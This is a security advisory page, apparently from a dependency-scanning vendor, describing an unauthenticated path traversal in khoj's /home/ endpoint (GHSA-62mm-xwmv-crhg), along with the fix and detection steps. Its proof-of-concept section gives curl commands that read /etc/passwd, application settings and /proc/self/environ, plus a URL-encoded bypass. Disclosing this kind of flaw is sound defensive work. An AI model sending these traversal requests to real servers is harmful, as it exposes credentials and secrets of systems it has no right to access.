Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

khoj has an unauthenticated path traversal in /home/ endpoint that allows file read from server filesystemGHSA-62mm-xwmv-crhg

Fix: khoj-ai/khoj@21c51b9

GHSA-62mm-xwmv-crhg is a security vulnerability in khoj. A fix is available for khoj — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 25, 2026 · OSV.dev, FIRST.org (EPSS)

Real-World Exposure

1 pkg affected
🐍khoj

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The /home/{file_path:path} endpoint in web_client.py serves static files by directly concatenating the user-supplied file_path with the home_directory constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use ../ sequences to read arbitrary files from the server filesystem.

Details

Vulnerable code — src/khoj/routers/web_client.py lines 46-49:

@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    """Serve static files from the home landing page directory"""
    return FileResponse(constants.home_directory / file_path)

Where home_directory is defined in src/khoj/utils/constants.py line 6:

home_directory = web_directory / "home/"

What is missing:

  • No .. traversal filtering
  • No path normalization/resolution check (e.g., resolved.is_relative_to(home_directory))
  • No authentication decorator (@requires(["authenticated"]) is absent)
  • Starlette's FileResponse does NOT perform path traversal protection

Path resolution:

Request: GET /home/../../../../../../../etc/passwd
file_path = "../../../../../../../etc/passwd"
home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd
OS resolves to: /etc/passwd

PoC

# Read /etc/passwd (no authentication required)
curl http://localhost:42110/home/../../../../../../../etc/passwd

# Read application settings (may contain SECRET_KEY, DB credentials)
curl http://localhost:42110/home/../../../../settings.py

# Read environment file
curl http://localhost:42110/home/../../../../../../../proc/self/environ

URL-encoded variant (may bypass some reverse proxy normalization):

curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

Impact

Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can:

  • Read application configuration — Django SECRET_KEY, database credentials, API keys
  • Read system files — /etc/passwd, /etc/shadow (if permissions allow), /proc/self/environ
  • Exfiltrate sensitive data — Any file readable by the server process
  • Facilitate further attacks — Leaked credentials enable deeper compromise

No authentication required — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker.

Recommended fix

Use FastAPI's built-in StaticFiles mount instead of a custom handler, or add explicit path validation:

@web_client.get("/home/{file_path:path}", response_class=FileResponse)
def home_static_files(file_path: str):
    resolved = (constants.home_directory / file_path).resolve()
    if not resolved.is_relative_to(constants.home_directory.resolve()):
        raise HTTPException(status_code=404)
    return FileResponse(resolved)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIkhoj≥ 2.0.0-beta.23&&< 2.0.0-beta.252.0.0-beta.25pip install --upgrade 'khoj==2.0.0-beta.25'

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for khoj, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update khoj to 2.0.0-beta.25 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-62mm-xwmv-crhg is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from
O3 Security · Impact-Aware SCA

Is GHSA-62mm-xwmv-crhg in your dependencies?

Find it across PyPI, including transitive dependencies.

GHSA-62mm-xwmv-crhg: khoj — Fix Available